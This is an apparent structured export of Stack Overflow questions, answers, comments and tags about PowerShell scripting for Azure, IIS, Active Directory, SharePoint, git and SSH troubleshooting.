has text: You don't need `wmic` if you are already using PowerShell (in fact, it's preferred _not_ to use `wmic` as it's deprecated anyway).
score: 3
comment on: http://stackoverflow.com/q/79245750

sql-server-2012
type: Tag
tags question: http://stackoverflow.com/q/79369758
tags question: http://stackoverflow.com/q/79395776
tag name: sql-server-2012

http://stackoverflow.com/comment/139958511
type: Comment
comment on: http://stackoverflow.com/q/79364722
has text: @Peilonrayz sure but fixing the issue OP has would honestly require re-writing this function from scratch.
score: 1
type: QuestionComment

http://stackoverflow.com/q/79278526
answer count: 1
tagged with: azure-devops
has title: Azure DevOps pipeline PowerShell task
tagged with: cicd
has comment: http://stackoverflow.com/comment/139798899
has answer: http://stackoverflow.com/a/79284701
tagged with: azure-pipelines
score: 0
tagged with: powershell
tagged with: azure
has comment: http://stackoverflow.com/comment/139878919
has body: I am using Azure DevOps pipeline and task 'AzurePowershell@5'. With that task I trigger script, which is on the repo- let's call it script X. Script X contains commands like 'Import-AzAutomationRunbook'. This command has parameter '-Path', which refers to a .ps1 script Y, which is suppose to be uploaded to Azure Runbook during pipeline run. The script Y sits on the same repo as script X. Unfortunately, when I try to invoke script Y as parameter: Import-AzAutomationRunbook -AutomationAccountName $AutomationAccountName ` -ResourceGroupName $ResourceGroupName ` -Name $Name ` -Path $scriptY ` -Type PowerShell it gives me error like: Cannot find path 'D:\a\1\s\scriptY.ps1' because it does not exist. The 'Import' command is located at script X inside a loop- I m not sure if it matters (I think not). My question is, how to properly refer to script Y inside script X, to be working as a parameter of command 'Import-AzAutomationRunbook'? BR
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139808354
type: Question

http://stackoverflow.com/a/79399776
has comment: http://stackoverflow.com/comment/140024460
type: Answer
answers question: http://stackoverflow.com/q/79399751
has body: I already searched for some solution like "rm -rf .git" or "rmdir .git" but this does not work. (even in the administrator PowerShell) Likely not a permission-related problem then (as the repository files don't normally have any special permissions anyway). Might be that some program is holding a handle to the directory (your IDE, antivirus programs, third-party Explorer extensions, etc). Reboot to see if the problem goes away. If not, try running a chkdsk /f scan. It is also strange that when i enter "git status" it shows that it is not a git repository? But when I list the hidden folder "ls -Hidden" then there is a folder named .git?? It is missing half the contents that would identify it as a Git repository (because you deleted those). For example, it no longer has .git\HEAD or .git\config.
score: 0

http://stackoverflow.com/comment/139855282
comment on: http://stackoverflow.com/q/79309989
has text: @CharlesDuffy unfortunately powershell doesn't support those regex classes like [:graph:] and [:space:]
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140014646
score: 1
has text: For a solution that also supports passing _arguments_ passed to the script through to the elevated re-invocation, see [this answer](https://stackoverflow.com/a/69775592/45375).
type: QuestionComment
comment on: http://stackoverflow.com/q/79394268
type: Comment

http://stackoverflow.com/q/79278245
has body: I got the cmd below from the following post Get Specific Recycling Time For IIS With PowerShell Get-ItemProperty -Path IIS:\AppPools\DefaultAppPool -Name recycling.periodicRestart.schedule.collection Which outputs value : 04:14:00 Attributes : {value} ChildElements : {} ElementTagName : add Methods : Schema : Microsoft.IIs.PowerShell.Framework.ConfigurationElementSchema However, it gives me the entire array when all i want is the 04:14:00 I've tried piping that to Select-Object -expandproperty with no luck I've tried using Get-IISAppPool also which would be great for multiple servers, but again, I can't figure out how to get simply the recycle time. Ultimately I need to get the recycle time of about 10 app pools on hundreds of servers. The only real output I want is $servername, $apppoolname &amp; $recycletime Can anyone point me to how to get simply the recycle time? I'll probably do something like $recycletime= Get-ItemProperty -Path IIS:\AppPools\$apppool -Name recycling.periodicRestart.schedule.collection &lt;=== don't know how to solve for the time only I can wrap it all in an invoke-command because I think I'll need to import Webadministration tools on each node, but again, it's getting only the Value that I can't solve. Any help appreciated.
score: 0
has title: Powershell script to get IIS app pool recycling time from servers
tagged with: iis
type: Question
linked to: http://stackoverflow.com/q/44119332
has answer: http://stackoverflow.com/a/79278369
accepted answer: http://stackoverflow.com/a/79278369
tagged with: powershell
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/a/79376557
has body: I need to read the each SPO file from the csv file and download the files locally with folder structure and add the files with same folder structure in Target Azure blob location through PowerShell script. You can use the below scipt that will download folder with subfolder from sharepoint and will upload same folder structure to Azure blob storage. Script: $SiteURL = "https://tenantname.sharepoint.com/sites/<sitename>" $FolderServerRelativeURL = "/Sites/<sitename>/Shared Documents/xxx/" $DownloadPath = "xxx" # Connect to PnP Online Connect-PnPOnline -Url $SiteURL -UseWebLogin # Get the web and folder details $Web = Get-PnPWeb $Folder = Get-PnPFolder -Url $FolderServerRelativeURL -Includes ListItemAllFields.ParentList $FolderSiteRelativeURL = $FolderServerRelativeUrl.Substring($Web.ServerRelativeUrl.Length) $List = $Folder.ListItemAllFields.ParentList # Get all list items under the folder with a progress bar $global:counter = 0 $ListItems = Get-PnPListItem -List $List -PageSize 500 -Fields FileLeafRef,FileRef,FileDirRef,FileSystemObjectType -ScriptBlock { Param($items) $global:counter += $items.Count Write-Progress -PercentComplete ($global:Counter / $List.ItemCount * 100) -Activity "Retrieving Items" -Status "Processed $global:Counter of $($List.ItemCount) items" } | Where-Object { $_.FieldValues.FileRef -like "$FolderServerRelativeURL*" } Write-Progress -Activity "Completed Retrieving Items" -Completed # Create local directories for subfolders $SubFolders = $ListItems | Where-Object { $_.FileSystemObjectType -eq "Folder" -and $_.FieldValues.FileLeafRef -ne "Forms" } $SubFolders | ForEach-Object { $LocalFolderPath = Join-Path -Path $DownloadPath -ChildPath ($_.FieldValues.FileRef.Substring($Web.ServerRelativeUrl.Length) -replace "/", "\") if (!(Test-Path -Path $LocalFolderPath)) { New-Item -ItemType Directory -Path $LocalFolderPath | Out-Null Write-Host -ForegroundColor Yellow "Created folder: $LocalFolderPath" } } # Download all files $Files = $ListItems | Where-O…
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79375029

http://stackoverflow.com/q/79277115
type: UnansweredQuestion
tagged with: smb
score: 0
tagged with: file-sharing
type: Question
answer count: 0
tagged with: permissions
has comment: http://stackoverflow.com/comment/139801544
has comment: http://stackoverflow.com/comment/139804639
tagged with: powershell
has title: Grant-SMBShareAccess not working. Getting "The Request is Not Supported"
has body: Got a strange one. I have about 40 servers with shares configured through SMB. This is my first time adding permissions to the shares after their original creation (years ago). For testing and troubleshooting I created a test group and account. However, the format I grabbed from the Microsoft KB doesn't seem to work after multiple attempts. Here is my example: Grant-SMBShareAccess -Name "L$" -AccountName "turnips\Test Account" -AccessRight Full After trying to execute this I am only met with this error: > Grant-SMBShareAccess: The request is not supported At line:1 char:1 > + Grant-SMBShareAccess -Name "L$" -AccountName "turnips\Test Account" - ... > + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > + CategoryInfo : InvalidOperation: (MSFT_SmbShare (...copeName = "*":ROOT/Microsoft/Windows/SMB/MSFT_SMB > Share) [Grant-SmbShareAccess], CimException > + FullyQualifiedErrorId : Windows Systems Error 50,Grant-SmbShareAccess Any articles I have found online for this error have not been for exactly the same scenario, and the ones I found did not offer any help in this instance. I've been trying to troubleshoot this all day, so any help would be greatly appreciated! Thank you!

http://stackoverflow.com/comment/140026109
type: Comment
has text: @user66001, ah, I missed that: You're running your code from the _ISE_, where `$host.ui.promptforchoice()` is unexpectedly a _GUI_ dialog. I agree that the close button (x) acting _like_ `Ctrl+C` is counterintuitive and that, preferable there shouldn't eve _be_ a close button or that it should at least be disabled. The good / bad news is that the ISE is best avoided altogether, and in a console / terminal you won't have that problem. Please see the new, first bullet point I've added to the preface, and the sample implementation of a `Console.CancelKeyPress` event handler at the bottom.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79392267

azure-ad-b2c
type: Tag
tags question: http://stackoverflow.com/q/79272156
tags question: http://stackoverflow.com/q/79279207
tag name: azure-ad-b2c
tags question: http://stackoverflow.com/q/79485503
tags question: http://stackoverflow.com/q/79475775

http://stackoverflow.com/comment/139958575
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79364898
has text: For TCP tests I'd recommend https://github.com/santisq/PSNetScanners/blob/main/docs/en-US/Test-TcpAsync.md that cmdlet will be much better than trying to invoke in parallel `Test-NetConnection`. It is more limited though.
score: 1

http://stackoverflow.com/comment/139929689
score: 0
type: QuestionComment
has text: Nevermind my prev. comment I didnt see you're using `appRoleAssignedTo` instead of `appRoleAssignments`. It's worth a try using that endpoint to see if that one works.
type: Comment
comment on: http://stackoverflow.com/q/79349700

http://stackoverflow.com/comment/139934262
type: Comment
score: 0
has text: @SantiagoSquarzon Unfortunately no, this is the only thing that was logged. I happened twice the last month, all other runs everything went OK, so I'm unable to reproduce it in a manual session.
comment on: http://stackoverflow.com/q/79351371
type: QuestionComment

http://stackoverflow.com/comment/140089796
score: 0
has text: @BigSmooth82: Please see my updated answer.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79416406

http://stackoverflow.com/comment/139813481
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286482
score: 0
has text: I suppose you could write an empty temp file, and then lookup the short path for it, and assume that's your answer. But it may not be reliable across scenarios.

http://stackoverflow.com/a/79306497
has body: I use the following as a uname-like command. The LastBootUpTime is near the end. [CmdletBinding()] param ( [Parameter(Mandatory=$false)] [string[]] $NetworkPrefixes = @('10','192') ) $unameInfo = Get-CimInstance Win32_OperatingSystem $csInfo = Get-CimInstance Win32_ComputerSystem $unameInfo | Add-Member -NotePropertyName 'UserName' -NotePropertyValue $csInfo.UserName $unameInfo | Add-Member -NotePropertyName 'TotalPhysicalMemory' ` -NotePropertyValue ('{0:0.##}' -f ($csInfo.TotalPhysicalMemory / 1GB) + ' GiB') $unameInfo | Add-Member -NotePropertyName 'LogonServer' -NotePropertyValue $Env:LOGONSERVER $unameInfo | Add-Member -NotePropertyName 'UserDomain' -NotePropertyValue $Env:USERDOMAIN $DisplayVersion = (Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion").GetValue('DisplayVersion') if ([string]::IsNullOrWhiteSpace($DisplayVersion)) { $DisplayVersion = 'unknown'} $unameInfo | Add-Member -NotePropertyName 'DisplayVersion' -NotePropertyValue $DisplayVersion #$IpAddresses = ((Get-NetIPAddress).IPAddress | Where-Object { ($_ -replace '^([0-9a-fA-F]+).*','$1') -in $NetworkPrefixes }) -join ', ' $IpAddresses = ([System.Net.DNS]::GetHostByName($null)).AddressList.IPAddressToString -join ', ' $unameInfo | Add-Member -NotePropertyName 'IPAddresses' -NotePropertyValue $IpAddresses $AssetTag = (Get-CimInstance -ClassName Win32_SystemEnclosure).SMBIOSAssetTag $unameInfo | Add-Member -NotePropertyName 'AssetTag' -NotePropertyValue $AssetTag $unameInfo | Add-Member -NotePropertyName 'PSVersion' -NotePropertyValue $PSVersionTable.PSVersion.ToString() $unameInfo | Add-Member -NotePropertyName 'Uptime' -NotePropertyValue ((Get-Date) - $unameInfo.LastBootUpTime).ToString() $Properties = @('CSName', 'AssetTag', 'IPAddresses', 'UserDomain', 'UserName', 'LogonServer', 'Caption', 'Version', 'PSVersion', 'DisplayVersion', 'BuildType', 'OSArchitecture', 'TotalPhysicalMemory', 'LastBootUpTime', 'Uptime' ) $unameInfo | Select-Object -Property $Properties #| Format-Table -AutoSize
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/139849485
answers question: http://stackoverflow.com/q/79306447
downvote count: 1
type: Answer

http://stackoverflow.com/comment/139939981
type: Comment
has text: Perhaps `git diff --check | xargs git diff`
score: 1
comment on: http://stackoverflow.com/q/79354709
type: QuestionComment

http://stackoverflow.com/a/79291694
type: Answer
score: 0
has body: I would use a pipeline instead of setting a variable to the whole file. I assume upc and upcssr are the same thing, although $linenumber is unused. &quot;+=&quot; will be slower with large lists. I had to fix the indenting. With [pscustomobject], you'll get the pscomputername too. # script.ps1 # 'Received barcode: 1' | set-content ~\documents\test1.log Get-ChildItem test*.log -Filter *.log | Foreach-Object { $linenumber = 0 $name = $_.name Get-Content $_.FullName | foreach-object { $line = $_ $linenumber += 1 if($line.Contains('Received barcode: ')){ $upc = ($line -split 'Received barcode: ')[1] if($upc.Length -le 13){ [pscustomobject]@{upc = $upc; linenumber = $linenumber; name = $name} #and i need to do more stuff here... } } } } # elevated prompt invoke-command localhost,localhost,localhost script.ps1 | ft upc linenumber name PSComputerName RunspaceId --- ---------- ---- -------------- ---------- 1 1 test1.log localhost 7300de17-143c-4edf-89a5-d7554c9516f9 1 1 test1.log localhost af0e217a-5eec-4940-9230-9e1107ca2edb 1 1 test1.log localhost e97621ac-de08-44a7-a618-022443bf9ec4
answers question: http://stackoverflow.com/q/79286119

http://stackoverflow.com/q/79278937
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139799559
duplicate of: http://stackoverflow.com/q/70126195
answer count: 0
duplicate of: http://stackoverflow.com/q/79223805
type: Question
has body: I'm not a PowerShell expert. I wrote a short script to obtain from AD all the computers that contain in their name a substring that is entered by the user. I have not been able to concatenate the pipelined commands with the $substring variable, which causes PowerSell to achieve nothing. How could I correctly concatenate the variable to the command? $substring = Read-Host 'Enter search substring. All computers whose name contains that substring will be recovered: ' msg console /server:localhost "An Excel file named 'Results' will be creatd at C:\Temp\Results.xlsx" $command = Get-ADComputer -Filter {Name -like "*$substring*"} | Select -Property Name | Export-Excel -Path C:\Temp\LOAN.xlsx Read-Host "Done! Enter any key to exit"
duplicate of: http://stackoverflow.com/q/20075502
tagged with: powershell
has comment: http://stackoverflow.com/comment/139801394
has title: How concatenate a powershell command with an string variable?
linked to: http://stackoverflow.com/q/79223805

http://stackoverflow.com/comment/139834994
type: Comment
comment on: http://stackoverflow.com/a/79279479
score: 0
has text: @Subzero123, while I can easily install `kubectl.exe`, it's not clear to me how I could test an `edit` subcommand without further setup. If you can tell me how to get a command working with minimal setup, I'm happy to dig deeper.
type: AnswerComment

http://stackoverflow.com/a/79347074
score: 1
upvote count: 1
has body: The issue with your code is that the objects outputted from Get-MgUserTransitiveMemberOf don't have those properties you're trying to filter on, they're actually inside a dictionary property named AdditionalProperties, so the actual filter should be: $groups = Get-MgUserTransitiveMemberOf -UserId $user.Id -All | Where-Object { $props = $_.AdditionalProperties $props['@odata.type'] -eq '#microsoft.graph.group' -and $props['securityEnabled'] -and $props['displayName'] -like 'bg*' } | Select-Object -ExpandProperty DisplayName You should also avoid the use of $results = @() and $results += ..., see this Q&amp;A: Why should I avoid using the increase assignment operator (+=) to create a collection for more info. In summary, your code should be: # $results = @() &lt;- Remove this $results = foreach ($user in $licensedUsers) { # &lt;- Put it here, `$results =` $licenseTypes = $user.AssignedLicenses $groups = Get-MgUserTransitiveMemberOf -UserId $user.Id -All | Where-Object { $props = $_.AdditionalProperties $props['@odata.type'] -eq '#microsoft.graph.group' -and $props['securityEnabled'] -and $props['displayName'] -like 'bg*' } [PSCustomObject]@{ # &lt;- Remove `$results +=` UserID = $user.Id DisplayName = $user.DisplayName UserPrincipal = $user.UserPrincipalName LicenseTypes = $licenseTypes.SkuId -join ', ' SecurityGroups = $groups.DisplayName -join ', ' } }
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139941413
has comment: http://stackoverflow.com/comment/139940563
type: Answer
has comment: http://stackoverflow.com/comment/139940398
downvote count: 0
answers question: http://stackoverflow.com/q/79347039
accepted answer of: http://stackoverflow.com/q/79347039
has comment: http://stackoverflow.com/comment/139941448

http://stackoverflow.com/comment/140008125
type: Comment
has text: Okay, apparently I am terrible at googling because I couldn't find this. Oh my god, thank you lol.
score: 0
comment on: http://stackoverflow.com/q/79391395
type: QuestionComment

http://stackoverflow.com/comment/140016375
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79395563
type: Comment
has text: I can see the `ForEach-Object` in the script you posted, but not the `Get-ChildItem` you mentioned. Is there something missing?

http://stackoverflow.com/q/79291780
has comment: http://stackoverflow.com/comment/139823880
tagged with: start-process
tagged with: powershell
has comment: http://stackoverflow.com/comment/139835634
linked to: http://stackoverflow.com/q/62783350
type: UnansweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139823025
linked to: http://stackoverflow.com/q/57441095
has comment: http://stackoverflow.com/comment/139835593
has answer: http://stackoverflow.com/a/79292429
favorite count: 0
has comment: http://stackoverflow.com/comment/139822979
has comment: http://stackoverflow.com/comment/139823917
has comment: http://stackoverflow.com/comment/139835542
has title: How can I call powershell.exe via Start-Process, to then call a script with its own parameters and capture the exit code?
has body: I can't figure out the syntax for this, I have a config script that needs to be called from another script. When I call the config script manually, it looks like this config.ps1 -val1 "1234" -val2 "12.089" . I need to use Start-Process to call config.ps1 with the parameters as well as to not open a new window (non interactive) and to capture the exit code of config.ps1 and wait for it to return an exit code before proceeding further. Here is what I've tried most recently $process = Start-Process powershell.exe -FilePath "c:\config.ps1" -ArgumentList -val1 "1234" -val2 "12.089" -PassThru -WindowStyle Hidden -Wait;
type: Question
linked to: http://stackoverflow.com/q/57468522
downvote count: 0
answer count: 1

reflection
tag name: reflection
type: Tag
tags question: http://stackoverflow.com/q/79382513

http://stackoverflow.com/q/79320898
has comment: http://stackoverflow.com/comment/139875288
answer count: 0
linked to: http://stackoverflow.com/q/58838941
downvote count: 0
has comment: http://stackoverflow.com/comment/139877004
tagged with: powershell
has comment: http://stackoverflow.com/comment/139875830
type: UnansweredQuestion
upvote count: 1
favorite count: 0
has title: How to call an optional (non-switch) parameter without an argument in Powershell?
duplicate of: http://stackoverflow.com/q/58838941
score: 1
type: Question
has body: What I would like to do is have a script parameter with three possibilities. The parameter name is -delim. So, the parameter is not called and thus $delim is $null within my script the parameter is called with an argument like -delim ';' in which case $delim would be a semicolon. the parameter is called with no argument (just -delim)(like you would call a switch) and $delim is set to a default value, like a comma. But, 3. is not possible. I have not been able to find any way to do that without getting error "Missing an argument for parameter 'delim'." Does anyone know if this is possible?

http://stackoverflow.com/comment/139847892
has text: Use `Export-Csv -Path 'C:\Folder\2024-12-23Testing.csv' -NoTypeInformation -Encoding UTF8 -UseCulture`. Parameter [NoTypeInformation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/export-csv?view=powershell-7.4#-notypeinformation) creates a csv without `#TYPE` header and [UseCulture](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/export-csv?view=powershell-7.4#-useculture) makes sure the csv uses the delimiter as set in **your current locale**, so exactly what your Excel expects
comment on: http://stackoverflow.com/q/79304087
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139932325
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343590
has text: `Variable Group` not pass object type, you need pass as string only, and then convert to object in script.
type: QuestionComment

http://stackoverflow.com/comment/139935965
type: QuestionComment
type: Comment
has text: As an aside: There's _no_ reason to use `"& { ... }"` in order to invoke code passed to PowerShell's CLI via the `-Command` (`-c`) parameter - just use `"..."` directly. Older versions of the [CLI documentation](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pwsh) erroneously suggested that `& { ... }` is required, but this has since been corrected.
comment on: http://stackoverflow.com/q/79351553
score: 1

http://stackoverflow.com/comment/139946540
type: Comment
comment on: http://stackoverflow.com/a/79343934
score: 0
type: AnswerComment
has text: @WinBoss sorry I'm confused - on Jan 9 you mentioned "_Yes, I'm sure. I can see the task gets exactly what I'm setting in the variable group when running Write-Host '(VariablesObject1)'_" - now you're saying the opposite? My suggested solution will **obviously** fail if for some reason `$(VariablesObject1)` is not available in the task.

http://stackoverflow.com/q/79345034
tagged with: git
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139921595
has title: What makes Select-Object not display Unicode characters correctly?
upvote count: 5
has body: Using git tag -l on PowerShell 7.5.0-rc.1 is fine: Cấutrúc2.5.0 git tag -n is also fine: Cấutrúc2.5.0 struct: trong ❝ Dự án❞ thêm ❝Tạo thu nhập thụ động❞ và ❝Tự động hoá❞ But using git tag -n --sort=-creatordate | select -first 1 I get: Cß║Ñutr├║c2.5.0 struct: trong Γ¥¥≡ƒôÉ Dß╗▒ ├ínΓ¥₧ th├¬m Γ¥¥Tß║ío thu nhß║¡p thß╗Ñ ─æß╗ÖngΓ¥₧ v├á Γ¥¥Tß╗▒ ─æß╗Öng ho├ííΓ¥₧
favorite count: 0
duplicate of: http://stackoverflow.com/q/58438095
has comment: http://stackoverflow.com/comment/139920792
score: 4
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139921294
tagged with: powershell
linked to: http://stackoverflow.com/q/78082443
downvote count: 1
tagged with: unicode

http://stackoverflow.com/comment/139799489
has text: Are both the C# and PS using the same NuGet packages at the same versions?
type: QuestionComment
comment on: http://stackoverflow.com/q/79278902
type: Comment
score: 0

http://stackoverflow.com/comment/139749184
comment on: http://stackoverflow.com/a/79250987
type: Comment
has text: Wonderful, it works. Thank you so much.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139883691
comment on: http://stackoverflow.com/a/79322834
type: Comment
has text: I have a custom requirement for my Azure subscription, which includes two types of VM machines. Each type is identified by its name prefix. For example: If a machine name starts with 'ABC,' it should have the tag VM Type=SuperStar. If a machine name starts with 'XYZ,' it should have the tag VM Type=Secondary Is azure restricted to create custom policy?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139769128
type: QuestionComment
has text: So final result should be empty file (since you process every line with your current code)? If so, wouldn't it be easier to just empty the file?
type: Comment
comment on: http://stackoverflow.com/q/79262231
score: 1

http://stackoverflow.com/comment/140021418
type: QuestionComment
type: Comment
score: 0
has text: also i noticed when run manually and auto, the $TokenResponse.access_token value is different.
comment on: http://stackoverflow.com/q/79395138

http://stackoverflow.com/q/79416722
has comment: http://stackoverflow.com/comment/140061087
has title: SSH failure for private github repository
type: Question
has comment: http://stackoverflow.com/comment/140062151
has body: I am attempting to push/pull using SSH to my private github repository. I went through the steps of creating a key, uploading the public key to my github account, and adding it to my ssh-agent, using the methods github recommends. For context, I am running git version 2.47.1.windows.2 on Powershell Extension v2025.0.0. I'm using vscode; I have tried using vscode signed into my account, a different acount, and not signed in at all. I have verified a few different things: I did not mistakenly miss a character when uploading my public key to my github account. I was able to clone my repository, oddly enough, and I was able to push one commit to it. This was after I followed this sequence: from a bash terminal, I started the ssh-agent, specifically in my repository, and added the private key. However, I don't want to have to repeat this process every time I reopen my repository or even close that terminal instance, which seems to be the case. I would also rather use powershell... What's really weird is that I can verify that my private key is working, according to github: Successful ssh connection ssh-agent is running and my key is in it: Key in ssh-agent My remotes are set up correctly to use SSH: git remote -v output I would expect to be able to interact with my github repository like normal, but I'm not able to pull, push, or in any other way interact with my online repo. I get the response you would expect if you didn't have any key installed: git@github.com: Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. Screenshot of above. The same happens with all the cmd-like apps I have installed. I tried turning it on and off again too. I know the answer is probably obvious, but it's still appreciated! Happy to give any other info, like the output of running ssh -vT git@github.com, if that would help.
answer count: 0
tagged with: ssh-keys
tagged with: github
has comment: http://stackoverflow.com/comment/140064888
has comment: http://stackoverflow.com/comment/140059544
tagged with: powershell
tagged with: ssh-agent
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140059734
tagged with: ssh
score: 0

http://stackoverflow.com/comment/139870435
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79316429
score: 1
has text: Indeed. In `cmd.exe` you could have used `type simple.bin | protoc --decode_raw`, or, more simply and efficiently, as @MarcGravell suggested, `protoc --decode_raw < simple.bin`; the latter also works in POSIX-compatible shells such as Bash. From PowerShell, as the linked duplicate shows, you can easily shell out to `cmd.exe`, for instance: `cmd /c 'protoc --decode_raw < simple.bin'`

virtual-machine
tags question: http://stackoverflow.com/q/79355961
tags question: http://stackoverflow.com/q/79377043
tag name: virtual-machine
tags question: http://stackoverflow.com/q/79395636
type: Tag
tags question: http://stackoverflow.com/q/79489186

http://stackoverflow.com/comment/140055559
has text: @SantiagoSquarzon Sorry, updated. It is a string.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79415674
score: 1

http://stackoverflow.com/comment/140102566
has text: My `mamba list` showed `conda` has `25.1.1`, but `conda xxx` failed. I had to use the old workarounds to get `conda` running, then run `conda init` to sort things out.
score: 0
comment on: http://stackoverflow.com/a/79406026
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140000140
has text: in your example you specifically set the CurrentCulture to 'nl-NL', but what I am trying to do is find out what the user has set for their Windows install, so I my code can provide a date in the appropriate format for any user any where. When I use `[cultureinfo]::CurrentCulture.DateTimeFormat.ShortDatePattern` in a script authored in VSCode and saved as a PS1, on a Windows 11 VM showing the date as 25/01/2025, what I get back is M/d/yyyy. Not what I needed given what my task bar shows. Am I still doing something wrong, or is the key that I must set the culture as in your example?
comment on: http://stackoverflow.com/a/79387067
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139745754
score: 0
type: AnswerComment
has text: How is this better than using a job or a named pipe? Seems like you're just reinventing the wheel.
type: Comment
comment on: http://stackoverflow.com/a/79248980

http://stackoverflow.com/q/79349700
has comment: http://stackoverflow.com/comment/139932485
has body: I'm trying to write a script to update the permissions for a managed identity using Powershell and the REST API, but I'm running into a problem and I don't know how to troubleshoot it any further. My script connects to an App Registration with App ID and Secret, generates a token and I use that token in my "Invoke-RestMethod" command. Connecting works fine, and I can run GET commands against the endpoints, but trying to update it using a POST gives me an error of "Not a valid reference update". This is the 'bit of code: # Payload in Hashtable $POSTBody = @{ principalID = "$($MIDData.id)" resourceID = "$ObjectID" appRoleId = "$($TEMProle.id)" } # check if Hashtable converts to JSON $POSTBody | convertto-json $AppRoleAssignment = "https://graph.microsoft.com/beta/servicePrincipals/$ObjectID/appRoleAssignedTo" Invoke-RestMethod -Uri $AppRoleAssignment -Headers @{Authorization = "Bearer $($TokenAccess)" } -Method POST -Body $($POSTBody | convertto-json) -ContentType "application/json" I'm confident my variables are correct. I've tried hard-coding them as well, but I get the same result. Any wisdom or guidance would be most appreciated.
has comment: http://stackoverflow.com/comment/139932495
answer count: 2
has comment: http://stackoverflow.com/comment/139929689
accepted answer: http://stackoverflow.com/a/79351325
has comment: http://stackoverflow.com/comment/139929644
type: Question
has title: HTTP request to update Service Principal Entra
has answer: http://stackoverflow.com/a/79351325
has answer: http://stackoverflow.com/a/79351352
has comment: http://stackoverflow.com/comment/139930331
possible better answer: http://stackoverflow.com/a/79351352
has comment: http://stackoverflow.com/comment/139930267
has comment: http://stackoverflow.com/comment/139930679
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/78738458
tagged with: microsoft-graph-api
has comment: http://stackoverflow.com/comment/139932023
score: 0
tagged with: entra
tagged with: azure-active-directory
tagged with: azure
has comment: http://stackoverflow.com/comment/139930334
has comment: http://stackoverflow.com/comment/139930249

http://stackoverflow.com/comment/139828445
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79293814
type: Comment
has text: @AcaNg happy to help, but `PSMethod` is _not_ a "function datatype" - it's a wrapper type for .NET _methods_

http://stackoverflow.com/comment/139755220
has text: Encoding issue? I would check what is actually inside each (specific) line: `... | Format-Hex`
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79246610

http://stackoverflow.com/q/79348356
has body: I am trying to run a script to change the account settings of all users. $users = (Get-ADUser -Filter * | Select sAMAccountNAme) for ($users) {Set-ADUser -Identity $users -CannotChangePassword $false} I get "Set-ADUser : Object reference not set to an instance of an object". What does this mean?
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139926630
has answer: http://stackoverflow.com/a/79348413
type: Question
has title: Set-ADUser : Object reference not set to an instance of an object. What does this mean?
has comment: http://stackoverflow.com/comment/139927087
tagged with: powershell
answer count: 1

microsoft-teams
tags question: http://stackoverflow.com/q/79301590
tags question: http://stackoverflow.com/q/79364096
type: Tag
tag name: microsoft-teams
tags question: http://stackoverflow.com/q/79475436
tags question: http://stackoverflow.com/q/79449677

http://stackoverflow.com/q/79254833
score: 0
has comment: http://stackoverflow.com/comment/139757128
has comment: http://stackoverflow.com/comment/139780097
tagged with: git
has body: I am trying to get the latest tag from git in a Github Action workflow (runs-on: windows-2022). - name: Get the latest tag from Git shell: pwsh run: | try { $LATEST_TAG = git describe --tags --abbrev=0 } catch { Write-Host "Failed to get the latest tag from Git. Setting LATEST_TAG to 'none'." $LATEST_TAG = "none" } echo "LATEST_TAG=$LATEST_TAG" >> $env:GITHUB_ENV # Save latest tag to the environment file The problem is that the git describe exits with an error code whenever there is no tag in history. This should not be a problem, because I encompass the code with a try/catch block. This documentation https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference states that it is due to the $ErrorActionPreference that is set to stop by Github. It seems I could bypass the code that is prepended and appended by Github to the script to avoid this behaviour, but I was not able to make it work properly. How to avoid stopping the whole process if git describe returns an error?
has answer: http://stackoverflow.com/a/79268615
type: Question
has comment: http://stackoverflow.com/comment/139772340
tagged with: github
answer count: 1
tagged with: github-actions
has title: Github action powershell exit codes and error action preferences
tagged with: powershell
type: UnansweredQuestion

http://stackoverflow.com/comment/140009660
score: 0
comment on: http://stackoverflow.com/q/79392142
type: QuestionComment
has text: So, no way to interrupt the cancellation of the prompt, and represent the prompt? Also, quotes were intended (to see if anything not viewable was before or after variable, which would be strange for int I do believe), but I see now that the extra space was caused by an extra set.
type: Comment

http://stackoverflow.com/comment/139923648
comment on: http://stackoverflow.com/q/79344254
score: 0
type: QuestionComment
has text: Related: https://stackoverflow.com/a/72793529/1701026
type: Comment

http://stackoverflow.com/comment/139803738
type: Comment
comment on: http://stackoverflow.com/q/79279035
has text: @KenWhite okay I see. Then maybe let me rephrase: "How does "Date modified" work in general (and not only folders) so I can analyse some files via Powershell. ;)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139897287
